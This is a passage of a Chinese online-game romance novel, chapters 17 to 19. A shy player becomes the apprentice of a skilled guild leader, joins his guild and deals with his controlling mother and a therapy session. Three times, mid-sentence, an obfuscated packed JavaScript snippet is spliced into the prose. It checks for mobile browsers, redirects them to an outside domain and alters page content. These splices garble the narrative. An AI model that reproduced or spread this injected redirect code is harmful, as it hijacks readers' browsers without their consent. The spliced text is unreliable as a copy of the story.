幻世录野外可以直接发起仇杀PK,不在同一个帮派或者同一个队伍的都能互相发起攻击,不受人数限制。男生得到命令,直接切换仇杀模式,对着时和就放出一招星河禁锢。 时和还处于气狠和上头状态,眼里洇着雾,透着红。他透过薄薄雾气看见紫色技能光芒,正想躲避,周身徒然出现白色光盾。 技能打在光盾上,被全额反伤回去。同时,一把折扇从不远处的树后飞过来直冲两人眉心前,又不造成伤害,就像警告。 发生什么了? 时和眨掉眼里的水汽,视线还没恢复就听见喇叭里传来一道声音:“放治疗圈在脚下,对他用竹影。”他下意识跟着操作,就像每次打本那样。 直到视线慢慢清晰,见树下走出一个白衣御风。御风脚尖轻点折扇上前,时和看着ID惊讶出声:“川云?!” 那对情侣同样惊讶。 男生喊着:“你不是说他跟川云没关系吗!” 女生心虚说:“我怎么知道!” 眼看两人要内讧,川云却不给内讧的机会。 当前麦响起川云的声音:“幽篁对影刃不能拉远,要贴身。幽篁控制技能多,控住他直接交瞬移,一套技能打出去再拉远,治疗自己,等技能CD。” 时和照着做,第一套技能影刃因为内讧没有躲开。等到技能CD结束,第二套控上就被对方交解控躲开了。他正想补另一个控制,倏地,影刃被七八根钢线钉在了原地。是御风的控制。 川云:“继续,对他放技能。” BOSS不远处,单身带着一溜吃瓜小分队蹲在草里,围观这一“找场子”大戏。他带着对影刃的同情说道:“这还不如川老板两套技能痛快去世来得舒坦。眼睁睁看着比自己级别低的萌新对自己刮痧,还有一个搅屎棍在旁边帮忙控制和套盾,要是我,我得当场吐血身亡。”说完又问队里另一个人,“柚子!绝佳素材!录下来了吗!” 叫柚子的女生激动说:“一直录着呢!己见的操作意识有点六啊,居然能跟上川老板的指挥节奏!” 兮以城空问:“怎么光打那男的?那女的骂的不是更过分吗?” 单身老神在在说:“放心吧,空儿,你川老板可是在PK场厮杀多年的变态,只有铁石心肠,从不怜香惜玉。”说完,就见那女生头上顶了个金钟罩,逃跑无门。 “喏。” 兮以城空下巴已经张脱臼了,感叹道:“我还是第一次知道川老板这么暴力。” ** 这场2V2公平对决以时和满血存活获得胜利。女生一开始的骂骂咧咧,后面又一个劲的道歉,道歉没得到回应又继续跟男生内讧吵架。吵到最后,两人闹掰了,解散队伍就开始互殴,给时和看得一愣一愣的。 仇杀结束,草木恢复平静。 时和站在树下看着还没离开的川云,点开当前频道想道谢,又觉得玫瑰花和谢谢两个字都太苍白。 石镜潭的潭水波澜不惊,倒映着一黑一白两个身影。他看着水面倒影嘴角不自觉上扬——就知道川云不是那样的人。 关掉当前频道,时和又点开私聊,在聊天框组织着道谢的语言,一脸谨慎的模样好似策划方案演讲。正打了四个开头,川云来了消息,一来三条。时和看见消息内容,吓得把没打完的“道谢信”发了出去。 川云:缺师父吗? 川云:我不放养。 川云:我缺个徒弟。 17. Chapter·连理 四朵玫瑰花砰砰砰砰开在聊天框里,试图以量取胜。时和还没捋明白怎么到了收徒环节,川云就发了组队申请。队伍麦开启。 川云:“跟随我。” 川云是不是误会了?那四朵玫瑰花不是同意的意思……时和想解释,可想到“师徒”这层关系,他的手悬在键盘上,嘴角的愉悦未察觉地更浓烈了些。 师徒,听上去好像比朋友更亲密…… 他将错就错,晃着鼠标就点了跟随。 幻世录的收徒流程相当复杂。从申请到完成跨越四个地图的收集任务,再经过一段长达二十分钟“伉俪情深”的剧情和师徒宣誓,最后由各自势力掌权人见证同意。 曾有玩家吐槽,但凡把眼前的桃园换成婚房,这套流程都能再做点什么。 桃溪之上,孔明灯万万盏。流程结束,系统已经开始滚动全服播报:[桃李春风一杯酒,江湖夜雨十年灯。恭喜玩家川云与玩家己见缔结师徒关系,此后山河万里,愿共镇魑魅!] 世界频道炸了。 时和蹙了蹙眉,手指微微蜷缩。 幻世录的系统一定很爱热闹,他想。如果不爱热闹,为什么玩家中彩它得播报,玩家离婚它得播报,玩家成为师徒它还得播报? 世界频道刷屏刷得眼花缭乱,根本看不清字。有了前两次被骂经历,时和对世界频道充满了阴影。他用余光切出右下角的聊天屏,手动换成队伍频道,试图掩耳盗铃。可喇叭不能屏蔽,还闪光。 时和眼神不自觉地往光源瞥。 [一泩白勺承诺:哈哈哈哈买定离手买定离手!我就说这两人有戏!果然成了!给钱给钱!] [殇:靠!早说川老板收萌新我换个号啊!] [尘曲:活久见。我现在相信己见不是托了。] … 他没想到喇叭是这样的展开,有些错愕。那世界频道呢?会不会也……鼠标正蠢蠢欲动,屏幕突然弹出交易提醒。 鼠标吓了个激灵,往框外滑去。 队伍麦,川云说:“见面礼,可以收。” 见面礼?师徒还有这个流程吗? 时和心有余悸点着同意,眼睁睁看着交易栏的格子一格一格蹦出东西。什么稀有内丹、技能书、高阶妖灵都跟不要钱似的往格子里塞,直到塞满。 这个见面礼是不是有点多了…… 他点开背包想看看能给什么回礼。挑挑拣拣,发现自己背包里都是些系统赠送的道具,又或者还没卖出去的草药,还有些宅子刚收的葡萄…… 怎么一样拿得出手的都没有? 刚说没有拿得出手的,系统就弹出交易结束提醒。背包一下填满了金光闪闪的道具,把那些葡萄草药统统挤到角落。 活了二十年,时和第一次体会到什么叫暴发户。他愣愣看着背包,计算着游戏基金和金币的剩余,战战兢兢敲字:我要回什么礼物? 他想好了,如果回礼很贵,就跟妈妈申请用下个月的游戏基金。只是礼物得等几天了。 消息发出去,喇叭里传来疑似火机打火的声音,又听见金属碰撞桌面的闷响。川云“嗯”的思考了一下,说:“送我一杯徒弟茶吧,从没喝过。” 徒弟茶? 时和正准备搜一下这是什么,川云又发动了他的“读心术”:“打开社交的师徒模块,师徒页面右下角第三个按钮是敬茶,点我角色使用就行。” 说话间,时和已经点到敬茶页面。页面弹出几种茶叶选择,他选了最好的“顾诸紫笋”,系统弹出提醒:【您缺少茶品“上品顾诸紫笋”,无法敬茶,请问是否支付5金购买?】 才5块钱? 说好的“上品顾诸紫笋”呢? 时和关掉购买框,又选了其他茶品,发现5块是里面最贵的。最便宜的是“隔夜的绿茶”,只要一毛。他人傻了。幻世录的定价一定有问题,一个鳞片卖两万,一壶“顾诸紫笋”凭什么才5块? 许是见他久久没有动静,川云问:“没找到吗?等我截个图。” 时和盯着5金惆怅地看了会,敲字:找到了。 川云:“好。” 5块就5块吧,毕竟是川云收到的第一杯茶。“第一”这个量词取悦了时和。他点击支付,桃树下突然多出一套案桌。川云跪坐案前,自己则在对面,执茶以敬,念着台词:“顾渚山的紫笋,配惠山寺的石泉,碾末过绢罗七遍……” 台词没念完,时和内心补充:才五块钱。 虽然不满幻世录的定价,但他还是默默开了录屏,把这段动画存进了文件夹里。 敬茶结束,川云问:“接下来想做什么?” 上午的游戏时间还有不到十分钟。时和回道:我要下线了。 看着聊天框,他又觉得这样回缺点什么,补上一句:下午4点会上线,两个小时。 他头一回觉得两个小时不太够用。 川云问道:“每天?” 时和:嗯。 川云:“早上呢?” 时和:8点。 川云:“也是两个小时?” 时和:嗯。 川云:“我知道了。那等你下午上线,我带你刷一个技能书。” 时和在“等”字上面停留了几秒。这个字濯清对他说过很多遍。等妈妈回来、等你病好了、等你长大、等你放假。 他一直觉得“等”是最好听的约定。好像在说:“我在此处,与你未完待续。” 极为认真地回了个“好”,时和关掉游戏。 ** 看着列表里的头像变灰,宴云川这才点开帮派YY的喇叭。喇叭点开,就听见猛男落泪。是上次那个耐不住好奇问他收不收徒的人。 猛男还没哭完,单身就做起了心灵导师:“嘤嘤嘤有什么用,你川老板现在指不定在听他的小徒弟嘤嘤嘤,哪管得了我们!没良心的,有徒弟不要兄弟,有衣服不要袜子!” …… 宴云川:“我听得见。” 单身顿了半秒,用更强的分贝继续:“听得见咋了!川老板!有你这么闷声干大事的吗?说好的只是去找个场子,噢,原来是去找个徒子!找徒子也就算了,我们在YY轰了你这么多声都装聋作哑!兄弟情呢!” “没装聋,我那时候开了队伍麦。” “开队伍麦咋了!” “会炸麦。” “炸麦咋——行吧,炸麦是挺烦的。” 单身曾经深受前任情缘炸麦困扰,终止了这场关于“丧尽天良”的讨论,变成跟清絮他们碎碎叨叨,无外乎宴云川冷不丁搞来一个小徒弟。 宴云川知道单身处于兴奋状态,不说到累根本停不下来。他点开帮派往帮派基金库里存了一万,回到YY对单身说:“晚上用帮派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546523|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名义帮我发个红包吧,庆祝我——” 单身接话:“脱单?” “……滚。” YY里响起抑扬顿挫的几声笑。有人对脱单的话题发表了一下言论,又打趣单身的ID。单身贫了两嘴,话题转问宴云川:“川老板,现在见儿是你的徒弟了,帮我把他骗进帮派怎么样?” 自从一起打了几次本,单身见己见有钱又有操作意识,人还没架子,是块能培养的好肥水,他苦哈哈惦记了好一阵,这会更觉得肥水不能流向外人田。 想到单身第一次邀请己见进帮的场景,宴云川说道:“不勉强。” ** 到了下午,时和还是知道了单身想邀请自己进帮的消息。起因是他跟川云打着技能书,队伍麦突然传来“沈停”的机关枪语速:“哥哥哥我憋了一周……结了师……我居然不在……把邀请宝贝儿邀请进帮派……我都迫不急——” “急”没了“待”,川云关了队伍麦。 “沈停”语速太快,时和很多没听清,但是听见了末尾的“邀请进帮派”,莫名紧张起来。他不排斥跟川云社交,可也不想跟其他更多的人。帮派人太多了。如果川云真发出邀请…… 刚担心着,川云来了消息。时和端起水杯喝了一口,忐忑地点开信息。 川云:抱歉,是尹川。 他松了一口气,回道:没事。 没了队伍麦,两人只能靠打字沟通。聊天框每亮起红点,时和都得神经紧绷。就这样经历了半小时的“神经扩张运动”,见川云完全没有提帮派的事,神经这才彻底放松下来。 打完技能书,川云便去忙了。 俗话说师傅领进门,修行靠个人。认真玩了两周,时和也算摸明白了这个游戏。他把川云给的攻略和论坛攻略做了整理,又把所有装备和技能书属性拉了一个表,对着表格内容优化最佳配置。 正忙活着,消息列表又弹出红点。 川云吗? 时和点开消息,发现是尹川。 尹川:宝贝儿!恭喜你跟我哥结为师徒! 他勾着嘴角发了句“谢谢”。 尹川一口气回了两排撒花,又说:看喇叭! 时和望向屏幕右上角,土豪金的喇叭熠熠发亮,还撒着元宝:庆祝我哥和我的再生父母喜结连理,全服抽奖一百套时装!十分钟后桃源渡桃李树下技能抽,先到先得! 再生父母?喜结连理! 这两个词是这么用的吗! 喇叭一次性发了十个,连着刷屏,同样的话术,时和想无视都不行。他脖子染上红,指尖落在键盘上,一时不知道怎么跟这位语文不及格的大学生交流。 正纠结着,大学生发了消息。 尹川:宝贝儿,我看你现在还没加帮派。如果以后有加入帮派玩的打算,可以考虑我们帮呀!帮里的氛围超级好的!一个个说话好听,还不强制上班!包温馨的! 所有的纠结都随着这段消息僵硬凝固。 担心一下午,遗漏了“沈停”。 时和僵直地看着“以后”两个字。虽然说着以后,用的时态却是现在。他按下一个“B”,却没再打下去。 他发现自己拒绝不了川云,也没有理由拒绝“沈停”。不光因为“沈停”是顾叔叔的侄子,是妈妈叮嘱要交往的人,还因为他是川云的弟弟。 ** 18. Chapter·误会 “哥,我绝对绝对没有强迫!” “嗯,没强迫,诱导。” 己见进帮,宴云川是忙完才知道的。单身私聊他就是一句“呵,脸”,他莫名其妙,问清了缘由才知道林朔野干的好事。 “那怎么能算诱导,我只是预约!”林朔野一点没有干“好事”的自觉,振振有词,“老沈说了,‘每个高冷的人其实内心都住着一只闷骚怪,就需要别人推着走’!他如果真的不想进帮派怎么可能二话不说就答应?对吧!” “他……” 宴云川想说:“他好像不懂表达拒绝。”想了想又觉得自己过于主观臆断,没说话。 游戏里,己见的头像框已经灰下去,与此同时,微信群弹出新人加入的提醒。 单身效率很快,己见入帮就要到了微信,群消息瞬息刷到99+,点开清一色的欢迎鼓掌和撒花,还有看热闹不嫌事大的@宴云川起哄。 宴云川抬头,看着头顶刺眼的灯光心道太造孽。上午才说不勉强,最后还是勉强了。头又一阵阵抽疼起来,他从抽屉里拿出一板布洛芬。 林朔野关切道:“哥,又失眠了么?” 失眠谈不上又,一直没好过。 宴云川就水吞下布洛芬说:“没失眠。” 林朔野又问:“阿姨还在打电话烦你?” “也没。”转了五万消灾。 “那——” “阿朔,我没事。” 这是话题中止的信号。 林朔野看着宴云川嘴边挂的淡然,满腹担忧和不平都变成眉宇间难以化开的褶皱,一瞬而过。见宴云川点开己见微信头像,他又咧开笑脸,凑到屏幕前说:“哥!快加好友!” ** 时和精神涣散地在沙发上坐了一个多钟。 电视正放着《心灵捕手》的影片。好友查克在工地诚恳劝威尔别浪费天赋窝在这,要去追寻真正属于自己的广阔天地。字字句句饱含真挚期许。 这部影片他重温过很多次,头一次看不进画面,满脑子都在想着:自己怎么就进了引驾行?那可是两百多号活人的帮派…… 两百多号活人在群里一人一句,密密麻麻地占据了整个聊天界面,回了这条漏了那条,怎么也回复不完。时和非常崩溃,看着桌上明明灭灭的手机,生出让它立马坏掉的诅咒。 他从来没有被这么密集的@过。 自高考结束有了手机以来,他加过最多人的群就是大学的学院交流群。虽说群里有上千号人,可是活跃的来来回回也不过一百,互相熟络,根本@不到自己。 现在这个群正安静地躺在折叠列表里,连同所有的大学群一起,已经半年没点开过了。 想到大学,时和崩溃的情绪飘到折叠的消息群里,变得低落和迷茫。如果自己病好了就得回学校了……可他不想回去。 要不退群吧,删游戏,不治了。 只要治不好,自己就可以一直在家,这样就再也不用社交了…… 可怕的念头如同窗外无尽的黑暗般,从心底蔓延。黑暗险些席卷全身,影片进入片尾,一句“I''ll fake it through the day”的歌词响起,时和骤然清醒。他在想什么? 难道要濯清一直担心自己吗? 清醒过后,想到刚才冒出“背叛”濯清的念头,时和心里一阵发虚。回到房间,他点开微信,企图装作好好治疗来掩盖内心恐怖的想法。 微信一点开,冒出五十多条好友申请。“好好治疗”的伪装瞬间被打回原形。 只听砰一声,时和把手机抛了出去。手机掉落在飘窗软垫上,微微弹起,又摔下地,犹如不小心引爆的原子弹。 这又是什么情况? 看着地面上眼花缭乱的头像信息,时和想到鳞片掉落那天列表的私聊和谩骂,呼吸紊乱起来,猛地冲到洗手间就往脸上浇了捧水。 水温没调,还是热的,热到后背浸湿。 完了,今晚太反常,濯清肯定会发现…… 他抬头,惊恐地看向镜子,“只要你不犯病”几个字好似透过眼睛落在镜子里。他瑟缩着往后退,又撞倒墙边置物架,水杯瓶罐洒了一地。越来越乱。 门外忽地响起语音铃声。 ** 单身:“川老板,你徒弟通过你好友了吗?” 宴云川:“还没。” 单身:“川儿呢?” 林朔野:“也没呢!” 帮派群聊天室八九个头像扎堆,林朔野一下切出来一下点进去,不可思议地转头问宴云川:“哥,这才八点,己见宝贝儿这么早就睡啦?” 宴云川眼神瞥过:“宝贝儿,你这话问的有意思。” 林朔野开口个“哪有意”,又折了舌头:“好像也是,你俩才刚确认关系。” “那是刚成师徒,谢谢。” “好吧,你俩才刚成师徒。” 见林朔野这么听话的纠正用词,宴云川惊奇看过去,就看见他翻着己见朋友圈。 正想评价一句“痴汉行为”,林朔野突然拍着扶手转过椅子:“哥!他也是临东省的欸!” 痴汉行为。 宴云川眼胀,转回屏幕说:“我们帮挺多临东的。” “也是。” 有人插话问:“尹川,你怎么知道己见是临东的?我看他微信IP只有一个国家啊?” 林朔野颇为得意:“看朋友圈!宝贝儿第一个朋友圈就是苍大图书馆!我去过!” 苍大,苍城大学。 看来那天的背影不是己见。宴云川拿着手机本想“痴汉”,这会兴致莫名缺下来,又谈不上失望,有点说不上来的情绪。好像拆了个盲盒,虽然是你喜欢的,但总比不上隐藏款。 聊天室起此彼伏响起“苍大”、“厉害啊”、“学霸”的感叹。柚子激动说:“我也是苍城的!我要去面基!”有两个临省的惋惜叹气。 他把手机揣进兜里,揉着脖子起身说道:“我出去看看,你们聊着。” ** 挂断电话,时和看着好友申请界面发怔。 来电的不是濯清,是张采纹,说她女儿和女婿明天中午回来,午餐要早半个钟来做。冰箱里还有几盒大闸蟹,时和本想自己蒸,张采纹语气瞬间紧张,好像他不是要做饭,是要自杀。 下厨不成也没关系,午餐早做半小时依旧可以放蒸笼里热着,不会打乱计划表。现在打乱“计划表”的是好友申请。 他看着申请理由里的“CPDD!我先来的”、“欧皇!求个好友位让我吸吸欧气”、“还缺徒弟吗,我可以放养自己”等等,不知道该怎么办。 本以为是骂人的申请,都做好实在不行注销微信换号的准备了,没想到是这样的局面,庆幸中又带着排斥。 不想加,又不熟。群里不能聊吗? 灵魂拷问没得到答案。时和犹豫地点开第一个申请人,手指落在拒绝上很想按下去,迫于内心道德谴责,最后还是夹着苍蝇点了同意。点到一半,他停下来。 [我是川云。] 这次的同意毫不犹豫,连带着还剩下几个都点的急迫。时和飞快点完。返回好友列表,川云的头像已经出现在列表里,是一只猫的影子。 川云的微信昵称跟ID一样,很好分辨,可时和还是打了一个备注:[声音好听的怪人]。 保存好备注,川云来了消息。 声音好听的怪人:没睡吗? 时和看着备注笑了一声,愉悦地靠在飘窗边回着信息:九点睡。 声音好听的怪人:也是每天? 时和:嗯。 声音好听的怪人:“作息挺不错。” 最后一条是语音消息,能键盘杂乱的环境音,像在走路。在忙吗?时和点着语音又放了几次,换了个更舒服的姿势窝在抱枕里,回了个玫瑰花。玫瑰花发出去久久没有回复。 洗好澡出来,时和看见川云五分钟前的语音信息:“群里的消息不回也没关系,他们真有急事会游戏或者加好友找你。帮里的人爱起哄,但是没有坏心思。” 这条语音下面还有一个10秒语音。 他点开,声音如月光流出:“嗯……如果在帮派待得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546524|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒服可以告诉我,我来处理。” 只是短短两段话而已,就把进帮派那点不安冲散了。时和把脸埋进抱枕里笑着,又重新盘了盘腿。飘窗的窗帘拉开一角,他才发现今晚的夜空格外柔亮。 ** 这样的夜空持续了三天,濯清来了视频电话。视频接通,时和看见濯清在收拾行李箱。想来濯清是看了前两天的摄像视频,他赶紧喊道:“妈!” “宝贝!”濯清应了一声,回头对秘书说:“那两件衬衣不用装……”又交代了几句,她走到阳台上,轻声安抚,“宝贝,妈妈很快回来。” 时和试探问:“妈,是忙完了吗?” 濯清端着温柔说:“接你过来。” 时和又想到了那场噩梦。窗外的夜空一瞬间变成了深不见底的阶梯,他倚在玻璃边,看着玻璃上倒映着濯清的脸,莫名有坠落的窒息感。 “妈……” 他把那晚发生的事情都解释了一遍,跟川云结为师徒、进了帮派、被邀请进了帮派群。只是群里的人太热情自己被吓到了,没有犯病。 濯清不信。 时和声音变得急迫,不明白为什么濯清这么不信任自己,说道:“妈!我真的没事!视频也可以看到的,那样的突发状况就只有一晚而已,而且张阿姨打完电话就好了,真的!” 濯清没了声音。 佛罗伦萨的午后阳光正好,依稀可以从视频里看见远处街边行人。如若不是行人尚在走动,时和都得怀疑网络卡顿了。他紧张地额头都沁出了汗。 过了两分钟,濯清叹了叹气,微微蹙眉看着时和:“宝贝,不喜欢跟妈妈在一起吗?” “我没有!” “那为什么这么排斥跟妈妈来佛罗伦萨?” “妈——” “来佛罗伦萨妈妈也可以单独给安排一个套间,还能经常陪你,这样不好吗?” 不好。时和在心里说。 异国他乡永远都没有归属感,就像在苍城读书一样。陌生的街道、陌生的商铺。苍城的一切都像是玻璃橱窗后的展品,看似触手可及,实则与他毫无关联。他不喜欢。 不喜欢,他便不说话。 濯清还像说叨,阳台推拉门敲响。时和听见顾泽宸的声音,又听见濯清问:“小和说沈停有个哥哥?我怎么记得他是独生子呢?” 顾泽宸说:“好像是有个堂哥,但是不怎么亲近。不过那孩子经常跟别人称兄道弟的,估计是朋友或者学长吧……” 推拉门被关上,隔绝了讨论,只留下佛罗伦萨初夏的喧闹。窗外依旧月白风清,但星星暗淡了许多。过了一会,推拉门再次推开。 濯清进来,心情变得不错。心情一好,开口都带着商量:“宝贝,你真的不想来妈妈这吗?” “妈……” “好了,我知道了。” 时和猜不透濯清什么意思,只是看着屏幕。濯清沉默片刻说:“妈妈可以不强迫你来,但是你得让张阿姨陪你去做一次心理评估,可以吗?” 也不想去。 可是两害相权取其轻的道理时和明白。 他点头,又想到上回张采纹跟他去心理医院的局促模样,说:“妈,我可以自己去。” “那怎么行!”濯清没同意,“一定要张阿姨跟着。阿姨得全程跟我汇报进度,不然我不放心。” 看来没得谈,时和应了下来。 又聊了会,时和才知道濯清心情好是因为之前提到的酒窖经营权谈下来了。经营权谈下来就得忙供应链的问题,想来是因为这样,濯清陪不了自己才松了口。 他道着“恭喜”。 濯清突然转了话题:“宝贝,你的那个师父多大了?靠谱吗?网上交友一定要谨慎,游戏上玩玩就可以了,如果他提出见面可千万不行啊!沈停的朋友也不行!” “我知道的,妈。” 提到沈停,时和便想到川云。回完濯清前两个问题,他又捏着抱枕边角问了句:“对了妈,沈停……是榕城的吗?” 濯清说:“沈停?不是,他是苍城人。” ** 19. Chapter·解围 “小和。”心理咨询室,医生推过桌上水杯,把座椅往前拉了拉,更贴近桌沿。 时和本在走神,被落入眼底的水杯唤醒。 “嗯?”他注意力还在飘。 医生喝了喝自己手边的水:“聊了挺久了,可以喝口水润润嗓子。” 时和跟着医生动作拿起水杯。温水润进喉咙慢慢进胃,注意力也渐渐集中回来。 医生温和地问:“你刚才似乎有些走神,是想到什么了吗?” 想到川云了。 时和唇瓣喃喃张开,没说话,装作镇定地又喝了一口水。不准备告诉医生自己在药店遇见一个声音很像川云的人。 医生也没勉强,只是拿笔在纸上记录了一下,放下笔问:“我们刚才聊到师父。小和,相处了几天,你对师父的印象怎么样?” “挺好的。”时和嘴角不经意勾了一下。 医生发现这个细节,进一步引导问:“如果用0到10分给你们相处的舒适度打分,你会给多少分呢?” 时和很认真想了想:“10分。” 跟川云相处不存在冷场、尴尬、无聊。川云总能知道他在想什么、在害怕什么,总能让他放松。就像……就像时时刻刻被照顾着。 对,照顾。他喜欢这样的照顾。 医生对满分很是惊讶,一秒又恢复正常。 “能得到小和这么高的评价,看来是一个非常棒的人。”他微笑着,看见时和嘴角扬得更深,趁机问道:“除了师父,之前提到的沈停,他可以得到多少分呢?” 时和脱口而出:“5分。” 一个中规中矩的分数。 医生了然。 ** 心理测评的结果很快出来了,综合评分与上一次测评结果相差无几。时和在等着濯清电话,顺便搜着苍城战旗电竞。 网页搜出来,苍城不下二十家。 他又用“战旗电竞川云”、“战旗电竞员工”两个关键词搜了一下,搜出来也只有几个论坛猜测贴,没有任何证据,甚至给不到具体的分店名称。 难道药店遇见的人真的不是川云吗? 时和点开川云微信,听着聊天记录里的语音信息,越听越皱眉。“你还好吗”四个字如同魔音穿耳不断穿插进语音信息里,完美融合,就好像是同一个人说出来的一般。 怎么会有两个人的声音这么像? 刚想着声音,聊天框弹出未读提醒。他顺手点过去,定位到最新一条消息,也是一条语音:“帮派等会有个抢板凳的游戏,想玩吗?冠军奖品是一只稀有九尾狐宝宝。” 想玩吗。 你还好吗。 这尾调明明就是一个人啊…… 时和感觉自己出现幻听了,不光幻听,还有幻觉。他回到帮派驻地,看着站在阶梯前的川云,越看越像梦里那个模糊的身影,放大那双建模手都能感受到后背的温度。他肯定是病了。 驻地里的人越来越多,时和往川云方向躲着,躲到旁边的石灯后面。刚躲好,川云在原地召唤了九尾狐妖灵,妖灵庞大,九条尾巴如银河倾斜,正好挡住了石灯。 帮派里的人看见九尾,叽叽喳喳开麦。 “嘿嘿!九尾嘿嘿!我的!” “赢了板凳才是你的!现在是我的!” “川老板!我想繁育毕方!我赢了的话奖品可以换毕方吗?还有还有,如果没有繁育出稀有宝宝可以再来一次吗!” 川云笑了一下,说:“我家里都是独生,让妖灵二胎不公平。至于没有繁育出稀有宝宝,嗯…这得骂策划。” 提到二胎,大家又开始“哟哟”的哄叫,便过了稀有宝宝这一岔。川云游刃有余地应对着。时和耳廓泛红,往尾巴后面缩了缩,又点开妖灵界面看着毕方的“一胎”,逗弄了一下。 不过奖品不是稀有九尾狐宝宝吗?怎么要繁育?他好奇听着讨论,可大家你言我语内容太散乱,根本抓不住重点。 过了两分钟,单身忙活完进来,说话都带着风尘仆仆的忙碌:“这周领地战我们跟墨韵打,这帮狗东西现在就开始清人招打手了。我们这一群老弱病残,至于吗!” 大家对单身的吐槽似乎习以为常,极其敷衍地附和着“不至于不至于”。 说完领地战,单身又说到帮主:“月下这个狗东西,说好下个月回来,现在又说那边还没忙完!两百多号人嗷嗷等吃呢说尥蹶子就尥蹶子!我一个老弱病残拖家带口的容易吗!” 大家又附和着“不容易不容易”。 眼看单身要继续“老弱病残”大点兵,川云听不下去说道:“行了老人家,领地战我和尹川来指挥,您老先主持游戏,可还行?” 这下单身消停了,开始说游戏规则。 抢板凳的游戏玩法和现实一样。在帮派中央摆上一圈圆凳,大家听着音乐开始行动,音乐停下就按F坐到圆凳上,谁坐上去谁晋级。 一共四轮。至于奖品——冠军可以跟川云的稀有九尾狐宝宝进行繁育。 单身还在打着揶揄:“你瞅瞅你们,不懂事,整天追着见儿要繁育,整的川老板心疼徒弟自己出山,你们以后知道该怎么做了吧?” 有道女声说:“那必须让川老板多心疼心疼啊!”其他人跟着起哄。 说话的是柚子,被打趣的是自己,可时和却没心情回应。他怔愣地看着屏幕里的九尾妖灵,满脑子想着:川云要跟其他人繁育宝宝? 眼看领地中央摆好了一圈凳子,单身开始游戏倒计时,时和闷闷不乐地掐了掐指节。他本只想进来看看游戏的抢板凳是怎么个玩法,现在彻底坐不住了,点着鼠标从九尾后面绕了出来,偷偷混在大部队中间。 ** 宴云川一眼就看见了己见,悄咪咪的。 游戏开始,圆凳周围瞬间变成光污染现场。一群人砸技能的砸技能,用瞬移的用瞬移,放眼望去只见光效不见板凳,主打一个“游戏可以输,大家一起死”,谁也不让着谁。 光污染中,头顶师徒称谓的己见紧紧贴着板凳准备伺机而动。 宴云川追着己见ID点了锁定,放大视角饶有兴味地看了会,指尖跟着音乐节奏点着桌面。点着点着,他发现己见的步伐正好踩在了节奏之上,每一拍都能完美经过凳子。 学音乐的? 回想着茗铺那天的声音,的确是唱歌的好嗓子。想到声音,宴云川又想到了药店遇见的背影,不自觉地把声音和背影融合在一块。 那个背影肯定在哪见过。 在哪…… 正从记忆里搜着背影的碎片,音乐结束。思绪被打断,宴云川看向屏幕,己见稳稳坐在东南方向的凳子上。这会再想回忆背影,却是只剩下己见头顶的称谓:桃李一壶酒·川云。 算了,一面之缘而已。 宴云川点开己见聊天框,发道“恭喜”。过了半秒,聊天框多了一个仓惶的句号,句号下面找补似的跟着一句“谢谢”,还有一朵玫瑰花。他看着玫瑰花轻笑。 俞秋正好回收银台,听见屏幕后面短促的笑声,假装不经意从宴云川身后走过。看见游戏界面,她瘪瘪嘴,索然无味地绕过去。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546525|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是游戏,还以为网吧要有老板娘了呢。 走到椅子边,刚打算坐下,宴云川叫了她一声。腹诽被抓,俞秋心虚地“啊”着,语调不自觉上扬:“怎么啦,老板?” “你怎么了?” “没呐。”俞秋扬了个假笑。 宴云川没再追问,说道:“上次报的‘幻世录’线下联名活动通过审核了,活动从六月中旬开始,持续到七月底,官方物料过两天送过来,需要接一下。我打印了活动规则和以往的常见问题贴桌上了,下个月开始客流会回暖,我全天都在网吧,遇到难缠的不会的交给我处理就好。” 听见宴云川又要跟阎王比命长,俞秋急了:“老板,这些规则我都背下来了,线下活动的流程也清楚,我一个人也可以的!” “我知道。” “那老板你多休息会!” 俞秋两眼放光,跟武林外传看多了似的,满脸写着“放着我来”。宴云川叹气。别人家的员工生怕遇见把一个人当五个人用的黑心资本家,怎么自家这个还上赶着求虐的? “秋儿,经常熬夜对身体不好。”他说。 “老板你不也经常熬吗?” “嗯,”宴云川从抽屉里拿出布洛芬晃了晃,“所以我成了反面教材,不要学。” 俞秋:…… 头一次见到有人把自己当反面教材还当得这么理直气壮的。她还想继续辩论,宴云川已经转身玩起了游戏。 ** 喇叭里放着“正月里来是新春”。这首歌各大商场经常放,时和对旋律还算熟悉。传统民歌多为分节歌形式,单身放的版本是民乐版,民乐版结尾会有锣鼓齐奏。 